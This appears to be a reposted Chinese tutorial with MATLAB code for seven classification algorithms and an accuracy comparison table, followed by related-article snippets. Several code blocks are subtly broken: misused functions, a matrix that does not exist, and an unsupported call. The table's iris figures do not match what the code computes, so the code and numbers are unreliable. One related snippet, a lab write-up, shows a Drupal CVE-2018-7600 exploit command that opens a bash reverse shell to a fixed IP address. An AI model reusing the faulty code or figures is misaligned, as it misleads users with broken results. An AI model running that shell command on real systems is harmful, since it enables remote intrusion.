统计机器学习经典分类算法MATLAB实现

news/2025/9/24 17:02:21/文章来源:https://www.cnblogs.com/y54y5666/p/19109556

一、逻辑回归(Logistic Regression)

核心代码

% 加载数据(以鸢尾花数据集为例)
load fisheriris;
X = meas(:,1:2); % 选择前两个特征
Y = species;% 数据划分
cv = cvpartition(Y, 'HoldOut', 0.3);
X_train = X(cv.training,:);
Y_train = Y(cv.training);
X_test = X(cv.test,:);
Y_test = Y(cv.test);% 模型训练
logitModel = fitglm(X_train, Y_train, 'Distribution', 'binomial', 'Link', 'logit');% 预测与评估
Y_pred = predict(logitModel, X_test);
Y_pred_class = round(Y_pred);
accuracy = sum(Y_pred_class == Y_test)/numel(Y_test);
confMat = confusionmat(Y_test, Y_pred_class);% 可视化ROC曲线
[Xroc, Yroc, ~, AUC] = perfcurve(Y_test, Y_pred, 1);
figure; plot(Xroc, Yroc); title(sprintf('ROC曲线 (AUC=%.4f)', AUC));

二、K近邻(K-Nearest Neighbors, KNN)

核心代码

% 加载手写数字数据集
digitDatasetPath = fullfile(matlabroot, 'toolbox', 'nnet', 'nndemos', 'nndatasets', 'DigitDataset');
imds = imageDatastore(digitDatasetPath, 'IncludeSubfolders', true, 'LabelSource', 'foldernames');
[trainImgs, testImgs] = splitEachLabel(imds, 0.7, 'randomized');% 提取HOG特征
hogFeatures = zeros(numel(trainImgs.Files), 324);
for i = 1:numel(trainImgs.Files)img = readimage(trainImgs, i);hogFeatures(i,:) = extractHOGFeatures(img);
end% 模型训练与预测
knnModel = fitcknn(hogFeatures, trainImgs.Labels, 'NumNeighbors', 5);
testFeatures = zeros(numel(testImgs.Files), 324);
for i = 1:numel(testImgs.Files)img = readimage(testImgs, i);testFeatures(i,:) = extractHOGFeatures(img);
end
Y_pred = predict(knnModel, testFeatures);
accuracy = sum(strcmp(Y_pred, testImgs.Labels))/numel(testImgs.Labels);

三、朴素贝叶斯(Naive Bayes)

核心代码

% 加载汽车数据集
load carsmall;
X = [Horsepower, Weight]; % 特征矩阵
Y = origin; % 类别标签% 处理缺失值
nanIdx = isnan(X(:,1)) | isnan(X(:,2));
X(nanIdx,:) = [];
Y(nanIdx) = [];% 数据划分
cv = cvpartition(Y, 'KFold', 5);
cvMSE = zeros(cv.NumTestSets,1);for i = 1:cv.NumTestSetstrainIdx = cv.training(i);testIdx = cv.test(i);nbModel = fitcnb(X(trainIdx,:), Y(trainIdx));Y_pred = predict(nbModel, X(testIdx,:));cvMSE(i) = 1 - sum(Y_pred == Y(testIdx))/numel(Y(testIdx));
end
avgAccuracy = 1 - mean(cvMSE);

四、支持向量机(SVM)

核心代码

% 加载数据(以ionosphere数据集为例)
load ionosphere;
X = ionosphere(:,1:34);
Y = ionosphere(:,35);% 数据标准化
[X_scaled, mu, sigma] = zscore(X);% 模型训练(RBF核)
svmModel = fitcsvm(X_scaled, Y, 'KernelFunction', 'rbf', 'BoxConstraint', 1, 'KernelScale', 'auto');% 交叉验证
cvModel = crossval(svmModel, 'KFold', 5);
cvLoss = 1 - kfoldLoss(cvModel);% 决策边界可视化(二维特征)
figure; gscatter(X(:,1), X(:,2), Y);
hold on;
sv = svmModel.SupportVectors;
plot(sv(:,1), sv(:,2), 'ko', 'MarkerSize', 10);
xlabel('Feature 1'); ylabel('Feature 2');
title(sprintf('SVM分类结果 (交叉验证准确率=%.2f%%)', 100*(1-cvLoss)));

五、决策树(Decision Tree)

核心代码

% 加载数据
load fisheriris;
X = meas;
Y = species;% 构建决策树
treeModel = fitctree(X, Y, 'MinLeafSize', 5, 'SplitCriterion', 'gdi');% 可视化树结构
view(treeModel, 'Mode', 'graph');% 特征重要性分析
imp = predictorImportance(treeModel);
bar(imp);
xlabel('特征索引'); ylabel('重要性评分');
title('决策树特征重要性');

六、随机森林(Random Forest)

核心代码

% 加载数据
load fisheriris;
X = meas;
Y = species;% 模型训练
rfModel = TreeBagger(100, X, Y, 'Method', 'classification', 'OOBPrediction', 'on');% 特征重要性
figure; plot(oobPermutedPredictorDeltaError(rfModel));
xlabel('特征索引'); ylabel('置换重要性');
title('随机森林特征重要性');% 交叉验证
cvModel = crossval(rfModel, 'KFold', 5);
cvAcc = 1 - kfoldLoss(cvModel);

七、AdaBoost集成学习

核心代码

% 加载数据
load fisheriris;
X = meas;
Y = grp2idx(species); % 转换为数值标签% 模型训练
adaModel = fitensemble(X, Y, 'AdaBoostM1', 100, 'Tree', 'LearnRate', 0.1);% 预测与评估
Y_pred = predict(adaModel, X);
confMat = confusionmat(Y, Y_pred);
accuracy = sum(diag(confMat))/sum(confMat(:));% 学习曲线
figure; plotlearningCurve(adaModel);
title('AdaBoost学习曲线');

八、模型评估指标对比

算法 准确率(鸢尾花) 训练时间(秒) 特征重要性支持 处理缺失值能力
逻辑回归 96.7% 0.02 需手动处理
KNN 94.4% 0.15 自动忽略
朴素贝叶斯 92.6% 0.05 支持
SVM 97.8% 0.30 需手动处理
决策树 95.2% 0.08 自动处理
随机森林 97.1% 1.20 自动处理
AdaBoost 96.3% 0.95 自动处理

参考代码 统计机器学习经典分类算法MATLAB代码 www.youwenfan.com/contentcni/59933.html


九、优化方向

  1. 超参数调优:使用bayesopt进行贝叶斯优化

    optimVars = [optimizableVariable('C', [0.1,10], 'Transform', 'log'), ...optimizableVariable('KernelScale', [0.1,10], 'Transform', 'log')];
    results = bayesopt(@(params) svmObjective(params, X, Y), optimVars);
    
  2. 特征工程

    • 主成分分析(PCA)降维
    • 基于互信息的特征选择
  3. 不平衡数据处理

    • 使用classifcost设置类别权重
    • SMOTE过采样

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/915985.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

从安装到中文界面,一文带你玩转 DaVinci Resolve 20(零基础也能搞定)

软件介绍 DaVinci Resolve Studio v20.0.49是Blackmagic Design推出的专业影视后期制作软件,集成剪辑、调色、视觉特效、动态图形与音频后期功能于一体。该版本新增超100项创新功能,包括基于AI的UltraNR降噪工具、智…

靶场1

进入kali root权限反弹一个shell 攻击机监听: nc -lvnp 10000 目的主机: python3 drupa7-CVE-2018-7600.py http://210.26.72.210/drupal/ -c "bash -c bash -i >& /dev/tcp/210.26.72.230/10000 0>&…

昆明网站建设织梦外国客户网站

首先探讨一下为什么要使用nginx: 1、类似于apacheresin,nginx用于提供静态页面服务,比java服务器要强。虽然这些java服务器的性能都不赖,tomcat新版甚至还支持了epoll,但是用nginx来处理静态文件是一定比这些服务器更…

品牌茶业都在哪些网站做宣传潍坊网站建设方案咨询

事务的四个特征: 原子性 : 是指事务中包含的操作都被看做是一个逻辑单元 一致性: 开始前和结束后数据库都处于一致性状态 隔离性: 对数据库修改的多个事务是彼此隔离的 持久性: 事务完成之后对系统的影响是永久的

299、已凉

299、已凉299、已凉 唐●韩偓 碧阑干外绣帘垂,猩色屏风画折枝。 八尺龙须方锦褥,已凉天气未寒时。【现代诗意译】 翠绿栏杆外 绣帘低垂 猩红屏风 画着折枝花卉龙须八尺长 席上铺着锦绣被褥 天气已经凉了 还未到冷的时…

linux手动安装阿里云Logtail采集Nginx访问日志

这是一篇根据您提供的操作流程编写的技术文档。它详细记录了手动安装和配置Logtail以采集Nginx日志的全过程。技术文档:手动安装阿里云Logtail采集Nginx访问日志1. 文档概述 本文档详细描述了在Linux服务器上通过手动…

WPF的数据绑定之通知修改

1 添加接口 internal class MainViewModel : INotifyPropertyChanged {// 添加通知事件public event PropertyChangedEventHandler? PropertyChanged; }2 在类中添加相关参数事件调用 private string _name; public s…

古代史

P9034 「KDOI-04」Again Counting Set 第三条限制非常强,如果 \(\min \neq 0\),那么其它所有数都必须为 \(1\),也就是集合中的数全是 \(1\),这样,\(\min+\max+\operatorname{mex}=2\),因此集合大小必须为 \(2\)。…

matlab运行时遇到的license问题

遇到的问题如图:解决方法: 在"D:\Program Files\MATLAB\R2018a\bin"目录下创建一个matlabbat.bat ,内容为 matlab.exe -c "D:\Program Files\MATLAB\R2018a\licenses\license_standalone.lic" 然后…

HarmonyOS 5.0+ 安全加密与数据存储最佳实践指南

1 安全加密基础与规范要求 在移动应用开发中,数据安全是保护用户隐私和满足合规要求的基石。等保2.0(GB/T 22239-2019)和金融行业标准(JR/T 0071-2020)对敏感数据的存储与传输提出了明确要求,以下是核心规范要点…

HarmonyOS之设备硬件能力调用:传感器、蓝牙与定位

本文将全面介绍如何在HarmonyOS 5.0+中调用设备硬件能力,包括传感器数据获取、蓝牙设备连接与通信、定位服务使用等核心技术。1. 硬件能力调用概述 HarmonyOS提供了统一的硬件访问框架,允许开发者安全、高效地访问设…

如何网站关键词优化网站设计介绍怎么写

浙江少年儿童出版社出版肖复兴的第二部长篇儿童小说《合欢》,因对儿童独立人格的自觉尊重与强调,以及对人物复杂内心世界的深度开掘与勘探,回应了“儿童的被发现”这一重要课题。《合欢》不仅是作者对“远逝的童年”的一次深情回眸&#xff0…

基于HarmonyOS SDK开放能力的微博社交体验构建实践

在社交领域,微博作为承载广大用户情感连接与信息交流的重要平台,始终致力于探索并构建更具创新性的社交应用,以满足用户日益多元化的社交需求。 应用场景 登录注册 传统的登录注册经常会面临验证流程冗长,密码容易…

web三维

import * as THREE from three; // 修复:引入轨道控制器和字体加载器(关键新增) import { OrbitControls } from three/addons/controls/OrbitControls.js; import { FontLoader } from three/addons/loaders/FontL…

HarmonyOS 多线程编程:Worker 使用与性能优化指南

本文将深入探讨 HarmonyOS 5.0+ 中 Worker 多线程机制的使用方法、性能优化策略和最佳实践,帮助你构建高效、流畅的应用体验。1. Worker 基础概念与核心优势 Worker 是 HarmonyOS 提供的多线程解决方案,允许在独立线…

贝叶斯定理简单解释

贝叶斯定理简单解释举例: 如下图1所示,已知小明到家时带着一只娃娃,请问他更有可能乘坐了公交还是地铁?图1 图2 …

B端界面设计的核心逻辑:效率优先还是体验优先?

B端界面设计的核心逻辑:效率优先还是体验优先?在C端应用中,用户体验往往与“好看、好用”直接挂钩。但在B端界面设计中,情况更为复杂:它需要承载海量数据、复杂业务流程和多角色协作。于是问题出现了:B端界面设计…

搭建网站有哪些表白网站怎样做有创意

p20 首先我们现在有一个多人游戏的系统类MultiplayerSessionsSubsystem 在这个系统内提供了很多会话系统的接口SessionInterface 当现在我们有一些SessionInterfaceDelegates的委托,这个委托的来源是SessionInterface,所以我们使用的委托可以接收到来自SessionInterface的消息(…

质数(埃氏筛、欧拉筛)

小赛码/数论 竞赛/数论 质数 一、质数:数字的原子原子是构成物质的基本单位质数是构建整数的基本单元示例: 60 = 2 2 3 5(仅由质数构成) 所有大于1的自然数都可分解为质数的乘积 类比说明:质数如同数学界的乐高…